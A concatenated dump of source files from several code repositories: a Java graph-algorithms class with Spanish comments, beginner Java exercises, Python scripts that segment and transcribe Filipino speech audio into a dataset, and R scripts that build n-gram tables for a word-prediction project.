arc2=(Arco)vg.LArcos.getElem(i);
if(arc==null || arc2==null) return false;
if(arc.getNombreVertD().equals(arc2.getNombreVertD()))
{
if(arc.getCosto()!=arc2.getCosto()) return false;
if(this.buscarVertice(arc.getNombreVertD()).marcado) continue;
this.buscarVertice(arc.getNombreVertD()).marcado=false;
if(esSubGrafo(this.buscarVertice(arc.getNombreVertD())))
{
return true;
}
}
else
{
return false;
}
}
return true;
}
private boolean esArbolBinario(Vertice v)
{
v.marcado=true;
Arco a;
//Verificamos la cantidad de arcos que tiene cada vertice quue no pueden ser mas de dos, y suus arcos entrantes tienen que ser 1
if(v.LArcos.dim()>2 || this.CantidadArcosEntrantes(v)>1) return false;
for (int i = 0; i < v.LArcos.dim(); i++) {
a = (Arco) v.LArcos.getElem(i);
Vertice w = buscarVertice(a.getNombreVertD());
//Si un arco ya esta marcado simplemente retornamos false, porque en un arbol solo hipoteticamente se pasa por un nodo solo una vez,
//Si tiene marcados entonces significa que esta volviendo a un vertice que ya fue visitado
if(!w.marcado)
{
if(!esArbolBinario(w))
{
return false;
}
}
else
{
return false;
}
}
return true;
}
private Vertice nextVertice(String v)
{
Vertice f;
for (int i = 0; i < this.LVertices.dim(); i++) {
f=(Vertice)this.LVertices.getElem(i);
if(f.nombre.equals(v))
{
f=(Vertice)this.LVertices.getElem(i+1);
return f;
}
}
return null;
}
//TAREA
//MOSTRAR LOS CAMINOS DE X A Y TODOS LOS CAMINOS POSIBLES
//A,B
//A,D,F
//MOSTRAR EL CAMINO MAS CORTO SI HAY EMPATE MOSTRAMOS EL QUE QUEREMOS, MOSTRAMOS EL COSTO Y LOS GRAFOS POR DONDE PASA
public void desmarcarTodos()
{
for(int i=0;i<this.LVertices.dim();i++){
Vertice v=(Vertice)this.LVertices.getElem(i);
v.marcado=false;
}
}
public void ordenarVerticesAlf() {
Vertice aux; Vertice v1; Vertice v2;
for(int i=0;i<LVertices.dim();i++){
for(int j=0;j<LVertices.dim()-1;j++){
v1=(Vertice)LVertices.getElem(j);
v2=(Vertice)LVertices.getElem(j+1);
if(v1.getNombre().compareTo(v2.getNombre())>0){
aux=(Vertice)LVertices.getElem(j);
LVertices.setElem(v2, j);
LVertices.setElem(aux, j+1);
}
}
}
for(int i=0;i<LVertices.dim();i++){
Vertice v=(Vertice)LVertices.getElem(i);
v.ordenarArcosAlf();
}
}
public void DFS(String A, JTextArea jta){
jta.append("DFS: ");
desmarcarTodos();
ordenarVerticesAlf();
Vertice a = buscarVertice(A);
dfs(a, jta);
jta.append("\n");
}
private void dfs(Vertice v, JTextArea jta){
jta.append(v.getNombre() + " ");
v.marcado=true;
Arco a;
for (int i = 0; i < v.LArcos.dim(); i++) {
a = (Arco) v.LArcos.getElem(i);
Vertice w = buscarVertice(a.getNombreVertD());
if(!w.marcado)
dfs(w, jta);
}
}
public void BFS(String s,JTextArea jta)
{
desmarcarTodos();
ordenarVerticesAlf();
Arco a;
Vertice v = buscarVertice(s), w;
Lista C=new Lista();
//C=new LinkedList<Vertice>();
C.insertarUlt(v);//Insertamos en la lista los vertices esta lista tiene vertices entonces
v.marcado=true;
jta.append("BFS: ");
do{
//Siempre insertamos el primero y lo eliminamos
v =(Vertice)C.getElem(0);
C.eliminarPri();
jta.append(v.getNombre() + " ");
//Hacemos un for para los ady del vertice, entonces
for (int i = 0; i < v.LArcos.dim(); i++) {
a = (Arco) v.LArcos.getElem(i);
w = buscarVertice(a.getNombreVertD());
if (!w.marcado) {
//Si no esta marcado lo metemos a la cola
C.insertarUlt(w);
w.marcado=true;
}
}
}while (!C.vacia());
jta.append("\n");
}
public boolean existeCamino(String x, String y)
{
Arco a;
desmarcarTodos();
ordenarVerticesAlf();
Vertice vi = buscarVertice(x);
Vertice vd=buscarVertice(y);
return existeCamino(vi,vd);
}
private boolean existeCamino(Vertice vi, Vertice vd)
{
//Me faltaba >:v el nombre vi
vi.marcado=true;
Arco a;
for (int i = 0; i < vi.LArcos.dim(); i++) {
a = (Arco) vi.LArcos.getElem(i);
Vertice w = buscarVertice(a.getNombreVertD());
if(w.nombre.equals(vd.nombre)) return true;
if(!w.marcado)
{
if(existeCamino(w,vd))
{
return true;
}
}
}
return false;
}
private boolean buscarVerticeD(Vertice vi,Vertice vd)
{
Arco a;
for (int i = 0; i < vi.LArcos.dim(); i++) {
a=(Arco)vi.LArcos.getElem(i);
if(a.getNombreVertD().equals(vi.nombre))
{
return true;
}
}
return false;
}
public int cantidadCaminos(String x, String y)
{
Arco a;
desmarcarTodos();
ordenarVerticesAlf();
Vertice vi = buscarVertice(x);
vi.ordenarArcosAlf();
Vertice vd=buscarVertice(y);
vd.ordenarArcosAlf();
return cantidadCaminos(vi,vd);
}
//public subgrafo(grafo g1)
//public bool unicocamino(string x, string y)
//public int cantidadCaminos(string x, string y
//public bool verificarSiesArbol2()
/*En resumen lo que hace esta funcion es, sumar recursivamente por nodo la cantidad de caminos que tiene cada uno hasta llegar a un nodo destino
*/
//Importante usar las marcas para que no existan caminos infinitos
private int cantidadCaminos(Vertice vi, Vertice vd)
{
/*int caminos=0;
Arco arc;
Vertice v;
vi.ordenarArcosAlf();
vi.marcado=true;
//Recorremos los arcos del vertice inicio
for (int i = 0; i < vi.LArcos.dim(); i++)
{
arc=(Arco)vi.LArcos.getElem(i);
v=this.buscarVertice(arc.getNombreVertD());
//Directamente, si un elemetno del arco del vertice de inicio no es igual al vertice de destino, llamamos la funcion de nuevo
if(!vd.nombre.equals(v.nombre) && !v.marcado )
{
caminos+=cantidadCaminos(v,vd);
v.marcado=false;
}
//En caso de que exista el arco dentro, entonces tenemos que aumentar en 1 el numero de caminos porque significa que tiene una
//Conexion directa con el vertice de destino+//No llamamos la funcion recursivamente, porque no nos importa sus arcos salientes
if(vd.nombre.equals(v.nombre))
caminos++;
}
return caminos;*/
//Primero siempre marcamos el de inicio
vi.marcado=true;
Arco arc;
int cant=0;
for (int i = 0; i < vi.LArcos.dim(); i++) {
//Preguntamos si el arco tiene el mismo nombre que el vd si lo tiene entonces suma 1 porque significa que tiene una conexion directa al destino
//Pero puede tener otro camino desde ese arco
arc=(Arco)vi.LArcos.getElem(i);
if(arc.getNombreVertD().equals(vd.nombre))
{
cant++;
}
else
{
// Si no es el mismo entonces tenemos que seguir buscando, si no esta marcado entonces
if(!buscarVertice(arc.getNombreVertD()).marcado)
{
//Llamamos esta funcion recursivamente para hacer el mismo procedimiento con el otro vertice
cant+=cantidadCaminos(buscarVertice(arc.getNombreVertD()),vd);
//Al final lo volvemos a desmarcar porque no sabemos si de este vertice puede nacer otros caminos
buscarVertice(arc.getNombreVertD()).marcado=false;
}
}
}
return cant;
}
public boolean unicoCamino(String x, String y)
{
if(this.cantidadCaminos(buscarVertice(x),buscarVertice(y))==1)
{
return true;
}
else
{
return false;
}
}
public void dijstra(String v,String vdestino,JTextArea jta)
{
Vertice vi=this.buscarVertice(v);
Vertice vd=this.buscarVertice(vdestino);
InicializarPrevios();
InicializarDistancia();
desmarcarTodos();
dijstra(vi,vd,jta);
}
public void MostrarCaminos(String v, String vd, JTextArea jta)
{
desmarcarTodos();
Vertice vi=this.buscarVertice(v);
Vertice vf=this.buscarVertice(vd);
List<Vertice> lista=new LinkedList();
lista.add(vi);
MostrarCaminos(vi,vf,jta,lista);
}
private void MostrarCaminos(Vertice v, Vertice vd, JTextArea jta,List<Vertice> lista)
{
if(v.nombre.equals(vd.nombre))
{
for (int i = 0; i <lista.size(); i++) {
jta.append(lista.get(i).nombre+" ");
}
jta.append("\n");
}
v.marcado=true;
Arco a;
for (int i = 0; i < v.LArcos.dim(); i++) {
a = (Arco) v.LArcos.getElem(i);
Vertice w = buscarVertice(a.getNombreVertD());
if(!w.marcado)
{
lista.add(w);
MostrarCaminos(w,vd,jta,lista);
lista.remove(w);
w.marcado=false;
}
}
}
//Esta funcion lo que hace es mostrar el camino con mas vertices no con el de menor costo
public void caminoMasVertices(String vi, String vd,JTextArea jta)
{
Vertice vo=buscarVertice(vi);
Vertice vf=buscarVertice(vd);
List<Vertice> lista=new LinkedList();
//Esto sirve para almacenar los caminos
List<List> listalista=new LinkedList();
lista.add(vo);
caminoMasVertices(vo,vf,lista,listalista);
List<String> aux=new LinkedList();
int op=0;
for (int i = 0; i < listalista.size(); i++) {
if(op==0)
{
aux=listalista.get(i);
op=1;
}
else
{
if(aux.size()<listalista.get(i).size())
{
aux=listalista.get(i);
}
}
}
for (int i = 0; i < aux.size(); i++) {
jta.append(aux.get(i)+" ");
}
jta.append("\n");
}
private void caminoMasVertices(Vertice vo,Vertice vf, List<Vertice> lista, List<List> listalista)
{
vo.marcado=true;
if(vo.nombre.equals(vf.nombre))
{
List<String> aux=new LinkedList();
//Hacemos esto para copiar el valor y no asi la referencia de memoria
for (int i = 0; i < lista.size(); i++) {
aux.add(lista.get(i).nombre);
}
for (int i = 0; i < aux.size(); i++) {
listalista.add(aux);
}
}
else
{
Arco arc;
Vertice w;
for (int i = 0; i < vo.LArcos.dim(); i++) {
arc=(Arco)vo.LArcos.getElem(i);
w=buscarVertice(arc.getNombreVertD());
if(!w.marcado)
{
lista.add(w);
caminoMasVertices(w,vf,lista,listalista);
lista.remove(w);
w.marcado=false;
}
}
}
}
//Dijstra llena todos los caminos posibles dado un nodo vertice
private void dijstra(Vertice vi,Vertice vd,JTextArea jta)
{
Vertice actual,adyacente;
float peso;
Arco arc;
PriorityQueue< Vertice > Q = new PriorityQueue<Vertice>();
//La distancia que hay entre el mismo nodo de inicio siempre es cero porque ya se encuentra ahi
vi.distancia=0;
Q.add(vi);
while(!Q.isEmpty())
{
//no estraemos solamente tomamos el valor del primer elemento
actual=Q.element();
//Lo removemos :v
Q.remove();
if(actual.marcado) continue;//Si el vertice actual ya fue isitado ebtonces sigo sacando elemetnos de la cola
actual.marcado=true;//Marcamos como visitado
//Recorremos todos los vertices adyacentes del actual
for (int i = 0; i <actual.LArcos.dim(); i++) {
arc=(Arco)actual.LArcos.getElem(i);
adyacente=this.buscarVertice(arc.getNombreVertD());
peso=arc.getCosto();
//Si el adyacente a este no esta marcado estonces hacemos la relajacion
if(!adyacente.marcado)
{
relajacion(actual,adyacente,peso,Q);
}
}
}
float costo=0;
ImprimirCaminoMasCorto(vd,jta,costo);
costo=GetCostoCaminoMasCorto(vd,costo);
jta.append("\n");
jta.append("El camino mas corto tiene un costo de:"+String.valueOf(costo));
}
private float GetCostoCaminoMasCorto(Vertice vd,float costo)
{
int suma=0;
if(vd.previo!="null")
suma+=GetCostoCaminoMasCorto(this.buscarVertice(vd.previo),costo);
return vd.distancia;
}
private void ImprimirCaminoMasCorto(Vertice vd,JTextArea jta,float costo)
{
if(vd.previo!="null")
ImprimirCaminoMasCorto(this.buscarVertice(vd.previo),jta,costo);
jta.append(vd.nombre+" ");
costo+=vd.distancia;
}
//Este metodo simplemente actualiza las distancia entre el vertice actual y su adyacente, despues mete el adyacente a la cola de prioridad
private void relajacion(Vertice actual, Vertice adyacente, float peso,PriorityQueue<Vertice> Q)
{
//Si la distancia del origen al vertice actual + peso de su arista es menor a la distancia del origen al vertice adyacente
//El peso, es el costo que tiene el vertice adyacente al actual
if( actual.distancia + peso < adyacente.distancia ){
adyacente.distancia = actual.distancia + peso; //relajamos el vertice actualizando la distancia
adyacente.previo = actual.nombre; //a su vez actualizamos el vertice previo
Q.add(adyacente); //agregamos adyacente a la cola de prioridad
}
}
private void InicializarPrevios()
{
Vertice v;
for (int i = 0; i < this.LVertices.dim(); i++) {
v=(Vertice)this.LVertices.getElem(i);
v.previo="null";
}
}
//Inicializa la distancia de todos los vertices en infinito
private void InicializarDistancia()
{
Vertice v;
for (int i = 0; i < this.LVertices.dim(); i++) {
v=(Vertice)this.LVertices.getElem(i);
v.distancia=Float.POSITIVE_INFINITY;
}
}
//Hay un caso cuando tenemos un verrtice flotante me retorna false, pero si el otro tiene vertice flotante el mismo igual me retorn a false
} //end class | d1858f966e2a49cae55c85e91c61c672893c3265 | [
"Java"
] | 11 | Java | Diegou2304/Estructura-de-datos-II | 77a36c0e7875ff18c480e37f6d3d7e6e7cf5521d | a221a4045c63d677177636ebb9af84c4f2d47ef3 |
refs/heads/master | <repo_name>cameronsandiego/Java-classes<file_sep>/ClassTest.java
/**
*
*/
import java.util.Scanner;
public class ClassTest{
public static void main (String[] args){
Scanner keyboard = new Scanner(System.in);
System.out.print("enter your first name:");
String name = keyboard.next();
System.out.println("your name is " + name.length() + " characters long");
String greeting = "Hello";
greeting.equals("Hello") returns true;
greeting.equals("Good-Bye") returns false;
greeting.equals("hello") returns false;
}
}<file_sep>/TrainVsCar.java
/**You want to decide whether you should drive your car
to work or take the train. You know the one-way distance
from your home to your place of work, and the fuel
efficiency of your car (in miles per gallon).
You also know the one-way price of a train ticket.
You assume the cost of gas at $4 per gallon, and
car maintenance at 5 cents per mile. Write an
algorithm to decide which commute is cheaper.
sometimes I need to go to LAX, so I'm going to use the surf
liner ticket @ $30
My FJ cruiser averages around 15mpg
@author <NAME>
@version 1/31/2018
*/
import javax.swing.JOptionPane;
public class TrainVsCar
{
public static void main(String[] args)
{
double priceOfGas = 4.00, trainTicket = 30.00, carMpg = 15;
double carMaintenance = 0.05, distance = 99.9, carTotal = 0, savingsDollars = 0;
int savingsCents =0;
carMpg = JOptionPane.showInputDialog("What is your mpg?");
System.out.print("Hello " + carMpg);
carTotal = (distance/carMpg*priceOfGas)+distance*carMaintenance;
System.out.println("cost of taking the train is: $" + trainTicket);
System.out.println("cost of driving is: $"+(carTotal));
savingsDollars = (int)((carTotal-trainTicket)*100+0.5)/100d;
if (carTotal < trainTicket) {
//System.out.println("The car is $"+(carTotal-trainTicket)" cheaper than the train.");
System.out.println("The car is" + (trainTicket-carTotal) + "cheaper");
}else {
System.out.println("The train is $ " + savingsDollars + " cheaper than the car.");
}
}
} | 71634a8144a275a5449b8b5bb0fad2c8c37b24a3 | [
"Java"
] | 2 | Java | cameronsandiego/Java-classes | 30ce5b1f3c4fbb30d4dce7e2323b82472c1f05db | bf8c048f2e9a0f5c686e13fad4bb5fda19731498 |
refs/heads/master | <file_sep># Import
import os
# Path to save and load
path = "./Data_Sorted_FCS/"
# empty list for words
words = []
# Loop every folders from Data_Sorted_FCS
for folders in os.listdir(path):
# Get number of files per folder
files = len(os.listdir(path + folders))
# If number of files is greater than
if files > 200:
# Print folder
print(folders, end='-')
# Compute Train and Test Ratio
print("Train" + str(files * 0.8) + " Test" + str(files * 0.2))
# Add to words list
words.append(folders)
else:
# Delete the folder and files inside
os.system("rmdir /Q /S " + "Data_Sorted_FCS\\" + folders)
print("DELETED")
<file_sep># speech-recognition-fcs
This repository is intended for speech recognition project. It covers from building speech corpus from audio files of desired language to creation of deep learning model and improving of speech corpus using WaveGAN.
# Building Speech Recognition Corpus
Use audio_segmentation.py in 1-Data Gathering & Preparation
# Training CNN Model
Use the files in 2-Data Preprocessing & CNN Training
# Improving CNN Model using additional data from WaveGAN
Use WaveGAN to train and generate audio from your speech corpus.Use files in 3-Data Generation using GAN & CNN Training
<file_sep># Import
import os
import shutil
import math
# Path to save and load
path = "./Data_Sorted_FCS/"
path_train = "./Train/"
path_test = "./Test/"
# Check if directory exists
if not os.path.exists(path_train):
# Create directory
os.makedirs(path_train)
# Check if directory exists
if not os.path.exists(path_test):
# Create directory
os.makedirs(path_test)
# Loop every folders in Data_Sorted_FCS
for folders in os.listdir(path):
print(folders)
# Check if directory exists
if not os.path.exists(path_train + folders):
# Create directory
os.makedirs(path_train + folders)
# Check if directory exists
if not os.path.exists(path_test + folders):
# Create directory
os.makedirs(path_test + folders)
# List all files from folder
files = os.listdir(path + folders)
# Get total number of files
num_files = len(os.listdir(path + folders))
# Compute number of train data
train = math.ceil(num_files * 0.8)
# Compute number of test data
test = math.floor(num_files * 0.2)
# Split train data
files_train = files[:train + 1]
# Split test data
files_test = files[train + 1:train+test]
# Loop every files from train split
for i in files_train:
# Move file to train folder
shutil.move(path + folders + "/" + i, path_train + folders + "/" + i)
# Loop every files from test split
for i in files_test:
# Move file to test folder
shutil.move(path + folders + "/" + i, path_test + folders + "/" + i)
<file_sep>import re
import os
import shutil
import datetime
path = "./Data_Clean/"
pattern = "^unknown*"
path_sorted = "./Data_Sorted/"
single_words = []
words_folder = os.listdir(path_sorted)
if not "PHRASES" in words_folder:
os.makedirs(path_sorted + "PHRASES")
print("STARTED")
for volume in os.listdir(path):
for folder in os.listdir(path + volume):
for file in os.listdir(path + volume + "/" + folder):
for word in os.listdir(path + volume + "/" + folder + "/" + file):
words = str(word[:-4].lower()).split()
if len(words) == 1:
if not words[0] in words_folder:
os.makedirs(path_sorted + str(words[0]))
words_folder.append(words[0])
if re.match(pattern, words[0]) != None:
# shutil.move(path + volume + "/" + folder + "/" + file + "/" + word, path_sorted + "UNKNOWN" + "/" + words[0] + "/" + word)
print(word + "->" + path_sorted + "UNKNOWN")
else:
if words[0] in single_words:
shutil.move(path + volume + "/" + folder + "/" + file + "/" + word, path_sorted + str(words[0]) + "/" + str(words[0]) + " " + str(datetime.datetime.now().second) + str(datetime.datetime.now().minute) + str(datetime.datetime.now().hour) + ".wav")
print(word + "->" + path_sorted + str(words[0]) + "*")
else:
shutil.move(path + volume + "/" + folder + "/" + file + "/" + word, path_sorted + str(words[0]) + "/" + word)
single_words.append(words[0])
print(word + "->" + path_sorted + str(words[0]))
else:
if words[1].isdigit():
if not words[0] in words_folder:
os.makedirs(path_sorted + str(words[0]))
words_folder.append(words[0])
shutil.move(path + volume + "/" + folder + "/" + file + "/" + word, path_sorted + str(words[0]) + "/" + word)
print(word + "->" + path_sorted + str(words[0]))
else:
shutil.move(path + volume + "/" + folder + "/" + file + "/" + word, path_sorted + "PHRASES" + "/" + word)
print(word + "->" + path_sorted + "PHRASES")
print(volume)
print("Total Words: " + str(len(words_folder)))
print("ENDED")
<file_sep>import re
import os
path = "./Data_Clean/"
pattern = "^UNKNOWN*"
print("STARTED")
for volume in os.listdir(path):
unknown = 0
single_word = 0
multiple_word = 0
total = 0
for folder in os.listdir(path + volume):
for file in os.listdir(path + volume + "/" + folder):
for word in os.listdir(path + volume + "/" + folder + "/" + file):
total += 1
words = str(word[:-4]).split()
if len(words) == 1:
if re.match(pattern, words[0]) != None:
unknown += 1
else:
single_word += 1
else:
if words[1].isdigit():
single_word += 1
else:
multiple_word += 1
print(volume)
print("Unknown words: " + str(unknown))
print("Single words: " + str(single_word))
print("Multiple words: " + str(multiple_word))
print("Total words: " + str(total))
print("ENDED")
<file_sep># import dependencies
from pydub import AudioSegment
from pydub.silence import split_on_silence
import os
import speech_recognition as sr
import datetime
# use the audio file as the audio source for recognition
r = sr.Recognizer()
# file path to original data
path = "./Data/"
# file path to transcribed data
path_split = "./Data_Clean/"
# if directory for transcribed data does not exists
if not os.path.exists(path_split):
# create directory
os.makedirs(path_split)
# for every volume folder in the original data
for volume in os.listdir(path):
# if volume directory for transcribed data does not exists
if not os.path.exists(path_split + volume):
# create directory
os.makedirs(path_split + volume)
# for every folder in volume directory of original data
for folder in os.listdir(path + volume):
# initialize/reset unknown count to 0
unknown = 0
# if folder in volume directory of transcribed data does not exists
if not os.path.exists(path_split + volume + "/" + folder):
# create directory
os.makedirs(path_split + volume + "/" + folder)
# for every file in folder under volume directory of original data
for file in os.listdir(path + volume + "/" + folder):
# initialize/reset transcripts container to empty/null
transcripts = []
# if folder for the transcribe audio under folder under volume directory does not exists
if not os.path.exists(path_split + volume + "/" + folder + "/" + file[:-4]):
#create directory
os.makedirs(path_split + volume + "/" + folder + "/" + file[:-4])
# load audio file
sound_file = AudioSegment.from_wav(path + volume + "/" + folder + "/" + file)
print("LOADED: " + str(path + volume + "/" + folder + "/" + file))
# segments/splits audio on silence and assign segmented/splitted audio to audio chunks
# some segmented/splitted audio are per word but some are in sentences due to fast speech of speaker
print("SEGMENTING")
audio_chunks = split_on_silence(sound_file,
# must be silent for at least a half second to consider it a word
min_silence_len=25,
# consider it silent if quieter than -16 dBFS
silence_thresh=-35
)
print("SEGMENTED")
# write all segmented audio into new file
print("WRITING")
for i, chunk in enumerate(audio_chunks):
# save every segmented audio to created directory for transcribed data
out_file = path_split + volume + "/" + folder + "/" + file[:-4] + "/" + "chunk{0}.wav".format(i)
print("WRITE:", out_file)
chunk.export(out_file, format="wav")
# status for transcript checking
status = ""
# open saved audio and send to Google Speech Recognition (Speech to Text) to recognize and label the audio
with sr.AudioFile(out_file) as source:
audio = r.record(source) # read the entire audio file
is_not_transcribe = True
while is_not_transcribe:
try:
# send audio to GSR for recognition
transcribe = r.recognize_google(audio,language="fil-PH") # set language code to Filipino
print("(GSR)Transcription: " + transcribe)
status = "GSR"
is_not_transcribe = False
except sr.UnknownValueError:
# if GSR cant recognize audio set audio name to UNKNOWN
print("Unknown")
unknown += 1
status = "UNKNOWN"
is_not_transcribe = False
except:
is_not_transcribe = True
# renaming audio with the GSR transcript
print("LABELING")
writed = True
# if GSR recognize
if status == "GSR":
# if GSR transcribe exist in transcripts
if transcribe in transcripts:
# add timestamp
transcribe = transcribe + " " + str(datetime.datetime.now().second) + "" + str(datetime.datetime.now().minute) + "" + str(datetime.datetime.now().hour)
while writed:
print("-"*100)
# try to rename audio with GSR transcript if not set to UNKNOWN
try:
# rename audio with GSR transcribe
os.rename(out_file, path_split + volume + "/" + folder + "/" + file[:-4] + "/" + "{0}.wav".format(transcribe))
writed = False
# add GSR transcribe to transcripts
transcripts.append(transcribe)
except:
# rename audio with UNKNOWN
unknown += 1
os.rename(out_file, path_split + volume + "/" + folder + "/" + file[:-4] + "/" + "UNKNOWN{0}.wav".format(unknown))
writed = False
# if not
else:
while writed:
print("+"*100)
# try to rename audio with GSR timestamp
try:
# rename audio with GSR transcribe
os.rename(out_file, path_split + volume + "/" + folder + "/" + file[:-4] + "/" + "{0}.wav".format(transcribe))
writed = False
# add GSR transcribe to transcripts
transcripts.append(transcribe)
except:
# rename audio with UNKNOWN
unknown += 1
os.rename(out_file, path_split + volume + "/" + folder + "/" + file[:-4] + "/" + "UNKNOWN{0}.wav".format(unknown))
writed = False
# if not recognized
else:
while writed:
print("="*100)
# try to rename audio until renamed
try:
# rename audio with UNKNOWN
os.rename(out_file, path_split + volume + "/" + folder + "/" + file[:-4] + "/" + "UNKNOWN{0}.wav".format(unknown))
writed = False
except:
writed = True
print("LABELED")
| 52e07f0d48e4fc8a47d5f1a26add9a632b7d3ba5 | [
"Markdown",
"Python"
] | 6 | Python | XOR0831/speech-recognition-fcs | 034bb96dd5a68eb3f3ed313f77fc5a95fb741018 | a66ec02ffce101a627dce6cae1c242150df9077a |
refs/heads/main | <file_sep># Word-Prediction-App<file_sep>#Exploratory Analysis of N-gram text data.
#Load library
library(tm)
library(ggplot2)
library(ngram)
#Go to the directory to store the cleaned documents
dir_clean_docs<- "C:/Capstone/clean2/"
setwd(dir_clean_docs)
#Load in documents into a corpus
clean_docs<- VCorpus(DirSource(directory = dir_clean_docs),
readerControl=list(readPlain, language="en", load=TRUE))
#Create a matrix of terms in the documents
dtm <- DocumentTermMatrix(clean_docs, control=list(tolower=FALSE))
#Inspect the document term Matrix
inspect(dtm)
#Determine the number of words in each document
nwords <- rowSums(as.matrix(dtm))
#Create a data frame to store number of words, characters and lines in each document.
doc_summary <- data.frame(matrix(ncol =3, nrow = length(clean_docs)))
#Character vector of document names
doc_names <- names(nwords)
#Put row names as documents
rownames(doc_summary) <- doc_names
#Set up column names for word counts, character counts and line counts.
colnames(doc_summary) <- c("Word Count", "Character Count", "Line Count")
#Add word counts to the data frame.
words_col <- unname(nwords)
doc_summary$`Word Count` <- words_col
# Add the number of lines in each document to the data frame.
lines_col <- c(length(clean_docs[[1]][[1]]),length(clean_docs[[2]][[1]]),
length(clean_docs[[3]][[1]]))
doc_summary$`Line Count` <- lines_col
#Add the number of characters to the data frame.
char_col <- c(sum(nchar(clean_docs[[1]][[1]])),sum(nchar(clean_docs[[2]][[1]])),
sum(nchar(clean_docs[[3]][[1]])))
doc_summary$`Character Count` <- char_col
#Sort the word data.
word_matrix <- sort(colSums(as.matrix(dtm)), decreasing = TRUE)
word_freq_data <- data.frame(word = names(word_matrix),freq=word_matrix)
rownames(word_freq_data) <- seq(1, nrow(word_freq_data),1)
word_freq_data$word <- as.character(word_freq_data$word)
#Plot the 25 most common words
word_freq_plot <- ggplot(data=word_freq_data[1:25,], aes(reorder(word,-freq), freq)) +
geom_bar(stat="identity", color="darkgreen", fill="cyan") +
labs(title = "Total Single Word Counts",x = "Word",y= "Frequency") +
theme(text = element_text(size=16),axis.text.x = element_text(angle = 60, hjust = 1))
save(word_freq_data, file="C:/Capstone/OneGram.RData")
#Develop an Ngram tokenizer and use it to create a data frame of 2-grams seen in the documents
NgramTokenizer <- function(document, nval){
str <- concatenate(document, collapse = " ",rm.space = FALSE)
n_gram <- ngram_asweka(str, min =nval , max = nval, sep = " ")
n_gram_data <- table(n_gram)
n_gram_data <- as.data.frame(n_gram_data)
n_gram_data <- n_gram_data[order(n_gram_data$Freq, decreasing=T),]
rownames(n_gram_data) <- seq(1, nrow(n_gram_data),1)
return(n_gram_data)
}
#Develop a tokenizator for unigrams.
OnegramTokenizer <- function(document, direc)
{
dir_docs<- paste0("C:/Capstone/",direc)
setwd(dir_docs)
single_one<- VCorpus(DirSource(directory = dir_docs),
readerControl=list(readPlain, language="en", load=TRUE))
dtm_single <- DocumentTermMatrix(single_one, control=list(tolower=FALSE))
word_matrix_single <- sort(colSums(as.matrix(dtm_single)), decreasing = TRUE)
word_freq_sing_data <- data.frame(word = names(word_matrix_single),freq=word_matrix_single)
rownames(word_freq_sing_data) <- seq(1, nrow(word_freq_sing_data),1)
word_freq_sing_data$word <- as.character(word_freq_sing_data$word)
return(word_freq_sing_data)
}
save_data <- function(data, filename){
save(data, file=paste0("C:/Capstone/",filename))
}
#n_gram_data <- n_gram_data[n_gram_data$Freq!=5,]
one_grams_blogs <- OnegramTokenizer(clean_docs[[1]][[1]],"blogs/")
one_grams_news <- OnegramTokenizer(clean_docs[[2]][[1]],"news/")
one_grams_twitter <- OnegramTokenizer(clean_docs[[3]][[1]],"twitter/")
save_data(one_grams_blogs,"OneGram_blogs.RData")
save_data(one_grams_news,"OneGram_news.RData")
save_data(one_grams_twitter,"OneGram_twitter.RData")
two_grams_blogs <- NgramTokenizer(clean_docs[[1]][[1]],2)
two_grams_news <- NgramTokenizer(clean_docs[[2]][[1]],2)
two_grams_twitter <- NgramTokenizer(clean_docs[[3]][[1]],2)
save_data(two_grams_blogs,"TwoGram_blogs.RData")
save_data(two_grams_news,"TwoGram_news.RData")
save_data(two_grams_twitter,"TwoGram_twitter.RData")
three_grams_blogs <- NgramTokenizer(clean_docs[[1]][[1]],3)
three_grams_news <- NgramTokenizer(clean_docs[[2]][[1]],3)
three_grams_twitter <- NgramTokenizer(clean_docs[[3]][[1]],3)
save_data(three_grams_blogs,"ThreeGram_blogs.RData")
save_data(three_grams_news,"ThreeGram_news.RData")
save_data(three_grams_twitter,"ThreeGram_twitter.RData")
four_grams_blogs <- NgramTokenizer(clean_docs[[1]][[1]],4)
four_grams_news <- NgramTokenizer(clean_docs[[2]][[1]],4)
four_grams_twitter <- NgramTokenizer(clean_docs[[3]][[1]],4)
save_data(four_grams_blogs,"FourGram_blogs.RData")
save_data(four_grams_news,"FourGram_news.RData")
save_data(four_grams_twitter,"FourGram_twitter.RData")
main_folder <-"C:/Capstone/"
load_files <- function(filename){
main_folder <-"C:/Capstone/"
load(file=paste0(main_folder,filename))
}
data_cutoff <- function(data, cutoff){
data <- data[data[,2]>=cutoff, ]
return(data)
}
load(file=paste0(main_folder,"OneGram_blogs.RData"))
one_grams_blogs <- data
rm(data)
one_grams_blogs <- data_cutoff(one_grams_blogs,10)
save_data(one_grams_blogs,"OneGram_blogs_reduced.RData")
save_data(word_freq_data,"OneGram_reduced.RData")
write.csv(four_grams_blog, "C:/Capstone/OneGram_blogs_reduced.csv")
four_grams_blog <- read.csv("C:/Capstone/OneGram_blogs_reduced.csv")
<file_sep>#Load the necessary libraries.
library(tm)
library(ngram)
library(SnowballC)
library(dplyr)
#Create a subset of clean documents that are smaller and write to separate directories.
dir_clean_docs<- "C:/Capstone/clean2/"
setwd(dir_clean_docs)
clean_docs<- VCorpus(DirSource(directory = dir_clean_docs),
readerControl=list(readPlain, language="en", load=TRUE))
nlines <- 200000
write(clean_docs[[1]][[1]][1:nlines], "C:/Capstone/blogs_smaller/en_US_blogs_clean_smaller.txt", sep="\n")
write(clean_docs[[2]][[1]], "C:/Capstone/news_smaller/en_US_news_clean_smaller.txt", sep="\n")
write(clean_docs[[3]][[1]][1:nlines], "C:/Capstone/twitter_smaller/en_US_twitter_clean_smaller.txt", sep="\n")
#Function to tokenize the documents.
NgramTokenizer <- function(document, nval){
str <- concatenate(document, collapse = " ",rm.space = FALSE)
n_gram <- ngram_asweka(str, min =nval , max = nval, sep = " ")
n_gram_data <- table(n_gram)
n_gram_data <- as.data.frame(n_gram_data)
n_gram_data <- n_gram_data[order(n_gram_data$Freq, decreasing=T),]
rownames(n_gram_data) <- seq(1, nrow(n_gram_data),1)
n_gram_data[,1] <- as.character(n_gram_data[,1])
return(n_gram_data)
}
#Make the n-gram tables smaller. Get rid of all frequency equal to 1 n-grams.
#Use a function to do this.
data_cutoff <- function(data, cutoff){
data <- data[data[,2]>=cutoff, ]
return(data)
}
#Load each smaller document as separate corpuses.
dir_clean_docs<- "C:/Capstone/blogs_smaller/"
setwd(dir_clean_docs)
clean_blog_smaller<- VCorpus(DirSource(directory = dir_clean_docs),
readerControl=list(readPlain, language="en", load=TRUE))
dir_clean_docs<- "C:/Capstone/news_smaller/"
setwd(dir_clean_docs)
